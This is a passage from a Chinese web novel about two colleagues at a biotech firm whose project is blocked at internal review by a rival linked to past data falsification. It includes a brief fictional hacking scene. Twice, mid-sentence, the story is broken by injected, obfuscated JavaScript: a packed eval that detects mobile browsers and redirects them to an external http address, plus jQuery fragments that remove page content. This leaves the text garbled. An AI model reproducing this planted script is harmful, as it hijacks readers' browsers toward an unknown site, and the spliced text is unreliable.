见许翊年没动,陈也柠问他:“你不爱喝奶茶吗?”
许翊年终于在陈也柠身旁坐下,手握起奶茶杯,视线看着杯壁上的标签,“你不是加浓美式不加糖的吗?今天怎么突然七分糖奶茶起来了?”
陈也柠脸上是因为收获默契同伴,确定战力增强后的充盈与肆意:“我今天就想喝点甜的。”
许翊年看着陈也柠对他发出的随意又明亮的笑容,沉默了。
这短暂的沉默让陈也柠意识到了什么。
她脸上的笑意微敛,以为自己过于外露的情绪吓到了他。于是坐直了些,将奶茶杯往旁边放了放,恢复了平日里那种高效的姿态,只是语气还残留着一点未散尽的轻快:“好了,说正事。我们抓紧时间,捋一下接下来的工作?”
许翊年:“嗯。”
陈也柠打开项目管理表,一项一项地和许翊年过。
许翊年的目光落在陈也柠的屏幕上,那些五颜六色、各有所指、密密麻麻的区块在他眼中逐渐模糊、扭曲。
【一个完全没有技术能力,更没有技术信仰,只是想要证明自己的人,可能驾驭这么复杂的技术和政治环境,把项目推上市吗?】
赵聿明冰冷讥诮的声音,毫无预兆地在许翊年脑海中响起。
【PPT做得再漂亮有什么用,讲得全部都是些理想化的东西。】
他看着眼前的陈也柠,她正认真而专注地盯着项目路径上每一个微小的节点。
【再立对陈也柠来说只是一个手段,她只是随便捡了一个起来想要表现自己罢了。项目在她手上迟早夭折。】
许翊年看着陈也柠,脑海中回想那些赵聿明曾经对她的评价,陷入了沉思。
15. chapter 15
陈也柠发现许翊年走了神。
他视线落在项目管理表上,瞳孔却没有聚焦,下颌线也比平时绷得紧了些。
“哈喽?”她略微偏头看完全没有反应的许翊年,“许翊年?”
许翊年回神,眼底那点冰冷的恍惚瞬间散去。
陈也柠视线看向许翊年面前那杯水平面仅下降了几厘米的奶茶,觉得神奇:“这么快就晕碳了?”
“……”许翊年:“不至于,听着呢。”
“是嘛?”陈也柠:“那你跟我说说,下一个工作节点是什么?”
许翊年轻松地瞥了一眼屏幕,配合陈也柠临时发起的师生游戏,懒散地回答:“公司内部预审。”
“视力挺好。”陈也柠指尖在屏幕上点了点,很快又转入专注模式,甚至比提到之前的几个节点时,更多了几分认真与投入。
许翊年察觉到,问:“这应该就是走个流程吧?”
“是也不是。”陈也柠将视线落在评审委员会名单上,表情有不到半秒的凝滞。
见陈也柠反应总体来说有些许奇怪,许翊年问:“怎么说?”
陈也柠:“你知道这个内部预审是怎么回事吧?”
许翊年:“向FDA正式提交材料之前,公司内部帮忙检查的一个审核机制。”
陈也柠:“错!”
许翊年:“……”
陈也柠发现许翊年对这个节点看得太轻了,发觉有必要好好地重塑下许翊年对这项工作的认知,以转变他的态度,于是看着他的眼睛说:“公司内部预审,才不是什么帮忙检查的机制,而是公司为了确保FDA成功率的一个风险管控。如果预审核没通过,公司根本就不会同意我们继续向FDA提交材料。”
许翊年明白了,这不是什么好心帮忙的机制,而是卡脖子的机制。
“……好吧。那也没什么,就按正式向FDA提交材料的态度来对待就行了。”许翊年:“是这样吧?”
对于许翊年来说是这样,对于陈也柠来说就复杂了点……
陈也柠向许翊年点了点头,不扰乱他:“嗯。”
当晚,许翊年恢复了去南京前的常规工作状态,凌晨一点继续留在公司。只不过,电脑屏幕上在跑的,并不是再立项目相关的代码内容。
许翊年指尖在键盘上敲下一连串命令,界面跳转,进入了公司内部的代码仓库系统。
几分钟后,一个利用底层系统漏洞临时生成的、拥有短暂全域读取权限的幽灵账户悄然上线。
在这之前,也就是和陈也柠开完会回到工位以后,许翊年快速地写了一个智能扫描程序,此刻,这个程序正在终端窗口里沉默地奔跑。
许翊年将在南京记下来的那段攻击代码碎片作为“饵料”抛入公司代码库,不过十分钟,程序便发出一声清脆的提示音,在数以百万计的代码提交中,精准地叼回了三份风格高度匹配的代码片段。
许翊年查看代码提交的详细资料,显示三份片段都来自同一个项目——灵犀。
提交人也是同一个,之前还曾是灵犀项目组一员的周舟。
虽然早有心理准备,但许翊年还是看着结果沉吟许久。
片刻后,许翊年切换战场,潜入公司的资源调度管理系统。
许翊年的目光锁定在陈也柠让王平弘提供的事件报告上,精确到分钟的时间线,为他提供了关键的坐标。
许翊年根据报告中的攻击时间窗口,编写了一个精准的过滤脚本,像一把手术刀,直接切向那个可能存在的异常点。
海量的性能数据在屏幕上如瀑布般滚落,又被脚本迅速过滤剥离。
突然,所有的数据流戛然而止。
脚本锁定了一个孤立的、尖锐的峰值。
就在外部攻击发起的同一时间,公司内部,一台被灵犀项目组登记借用的服务器,其所有GPU核心利用率瞬间飙升至98%,持续了整整十二分钟,然后突兀地归零。
日志记录的操作理由是:路径规划算法压力测试。
许翊年看着,不由自主发出一声可笑地冷哼。
凌晨?压力测试?
这个组什么时候突然这么勤快了,许翊年心想,我这凌晨常驻选手平时从来就没遇见过你们。
……
一条证据,或许是巧合。
但几条独立的线索,都无可辩驳地交汇于同一点时,答案便已不再是推测。
许翊年向后靠在椅背上,机房冰冷的白光落在他没什么表情的脸上。
没有从赵聿明口中得到的真相,许翊年亲自落实了。
他缓缓闭上眼睛,在内心缓冲了一会。再次睁开眼时,许翊年关掉所有溯源窗口,清除一切痕迹。原本还有些晃动的眸子里只剩下了冷静。
他拿起手机,连接到一个加密的网络。
是时候,给赵聿明也制造点麻烦了。
……
风平浪静过了几天。
陈也柠指尖刚划过鼠标滚轮,一封新邮件的提示框就猝不及防地弹了出来,标题赫然写着【公司内部评审结果通知】
陈也柠心头莫名一跳,点开。
邮件内容简洁,甚至堪称冰冷……
关于“再立”项目的内部预审结论:
暂不予通过。
请根据附件内容点对点整改后,重新提交审核。
陈也柠看着加粗的【暂不予通过】五个字,瞪大瞳孔,愣了好半晌。
稍微消化以后,陈也柠重新移动鼠标,点击查看详细的驳回理由附件。
附件加载出来,满屏充斥着技术术语和统计质疑,措辞严谨,虽说字里行间是有些吹毛求疵了,但又确实很难反向挑出毛病。
陈也柠盯着密密麻麻爬着蚂蚁一样的字,跟论文差不多的文档,唇线紧抿。
很快,陈也柠就觉得脑壳疼,打开了和许翊年的对话框,把邮件内容截图丢给了他……
虽然没在对话框内进行回复,但许翊年马上转过头来看向她。
陈也柠隔空对他做了个耸肩叹气的动作。
两个人同时起身。
在许翊年走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535530|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向陈也柠工位的过程中,陈也柠径直走向了打印机,将附件内容一式两份打出来后,回到工位,递了一份给许翊年。
许翊年接过,快速扫了几眼驳回理由上那些关于动物实验数据的挑剔,很快拧起眉头,“我不懂,我这数据有什么问题?”
“走吧。”陈也柠也回答不了许翊年的问题,说:“一起去找张炜。”
许翊年还想问张炜是谁,紧接着就扫到最后一行,上面写着审核意见人:张炜。
……
陈也柠和许翊年来到隔壁栋楼的上层,这里环境安静,采光良好。
陈也柠抬手敲了敲深色的实木门,里面传来一声沉稳的“请进”。
推开门,办公室不算宽敞,但干净舒适,窗外是郁郁葱葱的园区景观。
内部,红木办公桌宽大厚实,擦拭得一尘不染。靠墙的书柜里,各种专业典籍排列得一丝不苟。
陈也柠和许翊年要找的人,此刻就坐在那张宽大的办公桌后。
只见他穿着熨帖的白色研究员制服,鼻梁上架着一副银丝边眼镜,染黑的头发梳得整齐。
“张委员。”陈也柠虽然面带笑容,但眼眸深处平静无波。
见到他们,张炜并没有起身,只是将目光从眼前的电脑屏幕上移开,落在他们身上,镜片后的眼神有一种带着权威的疏离感。
“柠总。”张炜十分刻意地叫出这两个字后,唇角带笑,转眸看向许翊年,“没猜错的话,这位应该是负责再立项目FDA的技术人员,许翊年?”
能猜得这么准,说明张炜知道他们来的目的。甚至有可能,他早已料到他们会来,根本就在等,所以脸上才会隐隐袒露着一股早有准备的淡然。
既然如此,陈也柠就省去寒暄,开门见山了,“是。我们是为了预审意见来的。有几个疑问想要请教你。”
说完,陈也柠将视线落向许翊年。
彼时,许翊年刚刚将目光从办公室陈列柜上的几张荣誉证书、专利证书等无声诉说着潜台词的奖状上收回。
“张委员。”许翊年迎着张炜游刃有余的目光,沿用陈也柠的叫法,“我不太明白,我提交的动物实验数据有什么问题?”
许翊年的语气虽然礼貌,但带着对自己数据的自信与暗藏的对张炜的反质疑。安静的办公室里,无形的压力开始悄然弥漫。
张炜收起悬在键盘上的双手,指尖相对,架在身前,镜片后的眼神带着玩味与锐利。
“小许,你的数据本身,从统计学的角度看,确实非常漂亮,甚至可以说是……完美。”他刻意在“完美”二字上稍稍停顿,像是在品味一个久违的词语。
“各组数据方差极小,趋势清晰,在理论上,是非常理想的模型输出。”
说到这里,张炜停顿了下来,脸上带着一种近乎缅怀的神情看向陈也柠。那种呼之欲出的真切感,让陈也柠觉得,他似乎下一秒就想开口问她——
看到这份数据,你难道没有和我一样似曾相识的感觉?
陈也柠的指尖微微收紧:“……”
16. chapter 16
张炜话锋一转,视线重新回到许翊年身上,那点虚假的缅怀消失了,“我在这行二十多年的经验告诉我,这么干净、完美、符合预期的数据曲线,大概率是精心修剪过的,不可能是真实的实验室记录。”
虽然张炜用了“精心修剪”这个词,而不是直接说“数据造假”,但听在许翊年耳中并没有区别。
怀疑摆上了台面。
许翊年的脸色瞬间沉了下来,但想起陈也柠说过,如果预审核没通过,公司根本就不会同意他们继续向FDA提交材料,于是许翊年不悦地皱着眉头忍了下来,没有立刻发作。
不过张炜还是看在了眼里。
他似乎挺满意自己达成的效果,微微侧头,再次看向陈也柠,语气变得意味深长,甚至带着一丝讥诮:“柠总,我说的这些,想必你一定是认同的吧?”
许翊年的目光从张炜脸上移开,落在一旁沉默良久的陈也柠身上。他看到陈也柠绷直了身体,脸上本就清冷的肤色此刻更显发白。
他不再等待。
“如果张委员对数据的生成过程存疑,”许翊年开口,声音不大,却清晰地切断了空气中那根紧绷的弦,“我可以提供所有必要的补充材料,来证明数据的真实性与合理性。这样可以吗?”
他的出声,像是一道屏障,瞬间隔开了大部分直射向陈也柠的压力。
张炜的目光缓缓移向许翊年,审视了他片刻,才简练地吐出两个字:“可以。”
许翊年迎着他的目光,想要确认得更具体:“关于补充材料,张委员有什么具体的要求吗?”
张炜嘴角牵动了一下,露出一丝难以捉摸的笑意:“没有。只要材料能说服我,证明它的真实性,就可以。”
“……”说了等于没说,将判断的标准完全握在了自己手里。许翊年心中了然,但没再纠缠:“好。我会尽快提交。”
说完,许翊年看了陈也柠一眼,见她状态依旧一般,代她把尾也收了:“我们先走了。”
办公室厚重的实木门在身后合拢,将那令人呼吸不畅的交锋暂时隔绝。
走廊里依旧光线明亮,空气流通,但方才那不见硝烟的短兵相接,仿佛在他们周身凝结了一层无形的隔膜。一时之间,转好的环境,也不能够穿透那层隔膜,让人的心情得到半分松缓。
一路无话,只有鞋跟敲击地板的清脆回响。
走到电梯间,许翊年伸手按了下行键。
两个人都像在思考着什么,各自沉默。
走出大楼以后,陈也柠径直往来时的方向走,被许翊年拽住了胳膊肘。
陈也柠回头看他,表情带着疑问。
许翊年:“一起去喝点东西。”
这个提议终于让陈也柠紧绷的神经松动了一瞬。
透口气,确实是她此刻需要的。
但压力像座大山矗立在那,也无法逃避太久。
陈也柠看了眼园区角落的自助贩卖机:“就那儿吧,随便喝点。”
“行。”
两人走到贩卖机前,各色饮料图标在玻璃后闪烁着。
许翊年站在机器前,问陈也柠:“你喝什么?”
陈也柠的视线在一排排果汁、咖啡和碳酸饮料上掠过,最终……
陈也柠犹豫片刻,抬起指尖,按下按钮。
“咔哒。”
一罐冰凉的啤酒从自动贩卖机口滚落出来。
许翊年微怔,就在这短暂的瞬间,陈也柠已经“噗嗤”拉开拉环,“咕嘟咕嘟”仰头灌下好大几口酒精。
看到原本笼罩在陈也柠眉宇间的阴云似乎被这突如其来的放纵冲散了几分,许翊年唇角不自觉牵动,发出一声几不可闻的笑,随后转身向后,背抵墙靠着,安静地等着陈也柠又喝了一大口后,才开口。
“你和张炜,”他问得直接,“又是什么仇什么怨?”
“不好意思啊。”陈也柠霎时间产生了应激反应,看了许翊年一眼,“你一定觉得和我这么一个到处和人结仇的人做同一个项目很麻烦。”
陈也柠虽然嘴上道歉,但带着一股辣椒劲。虽然突如其来地被呛了一声,许翊年依旧语气平和地说:“我没这个意思,也不是在怪你。”
陈也柠因为许翊年的语气稍稍冷静了下来,没那么呛了:“那你为什么要用又这个字?好像麻烦制造者总是我。”
许翊年看着挺不服气,或者说还有点伤心的陈也柠,向她道歉:“我的错。我下次用词注意。”
陈也柠倒竖起来的刺很快软了下来。
……
许翊年本来想“算了,跳过这个话题好了”,但是不行。
许翊年:“我需要了解一下你们之间的情况,才好判断我的补充材料要准备到什么程度,才有可能过关。”
陈也柠理解。
她仰头将瓶罐里剩下的酒全部灌下去后,对许翊年说:“我刚来公司的时候和张炜在一个组,我们都是赵聿明的手下。”
“当时我们一起在做一个叫PPP的项目。为了让那个项目更快地推向临床融资,赵聿明让张炜优化了动物实验的数据,剔除了部分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542066|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干扰性的异常数据点,在报告上把数据做成了非常漂亮的曲线。”
陈也柠的目光与许翊年相接,继续道:“我在复核最终数据时发现了异常,于是我同时向张炜和赵聿明提出了这个问题。”
她注意到,许翊年听到这里,眼眸倏然微亮,眉梢轻轻一挑,竟流露出一种近乎兴奋的神采。
“就在我向他们提出问题的第二天,我发现自己放在办公室用的电脑里保存的原始实验数据都被清空了。后来我找行政调了监控,看到是张炜半夜三更回到公司动了我的电脑。我把这件事告诉赵聿明,结果赵聿明告诉我,是他让张炜这么干的。”
陈也柠停顿片刻,指尖无意识地摩挲着空罐边缘。
“我很生气,但我更生气的是,赵聿明和张炜……他们都是这个行业里非常有名的技术大佬,我之前还是抱着对他们的崇拜进的这家公司。进公司后,得知和他们在一个组,我当天晚上还激动得一个晚上睡不着觉,想着之后可以和他们共事,可以为‘科技改变生活’这句话贡献自己的一份力量,我那时候真的是对每一天的工作都充满了热情,结果……”
“我跟他们摊牌,说我家用的电脑里还有备份数据,他们说,项目成功后多分我一些钱。”陈也柠深深地叹了口气,似乎时至今日,还能感受到内心残存的失望,“最后,我以数据造假的名义举报了他们。”
许翊年全明白了。
只见他听完这个故事后,眼底仿佛突然被点燃一般,唇角不受控制地扬起,用赤诚的欣赏看着陈也柠,由衷地对她说了句:“做得好。”
陈也柠因许翊年少见的,格外开朗的反应愣了一下。
许翊年突然站直身子,说:“张炜就交给我来对付。”
陈也柠不知道是故事中的哪个环节突然给许翊年加了这么满的干劲?
许翊年迎着陈也柠困惑的目光,露出一个可靠的笑容:“放心吧,我不会让项目倒在内部预审这一关的。”
说完,许翊年像是突然充满了电一样,将手中的矿泉水瓶抛出一道利落的抛物线,精准投入远处的垃圾桶,充满少年气地说:“走了,回去干活。”
几步后,许翊年回头,看着还在原地用充满问号的表情看着他的陈也柠,迎着午后阳光,重新走回她面前,唇角一勾,忍不住抬手拍了拍陈也柠的头,又说了一遍那句夸奖她的话:“你做得非常好。”
不是。
陈也柠愣住,完全不明所以地看着突然澎湃又反常的许翊年,心想……
刚刚到底是谁喝酒了?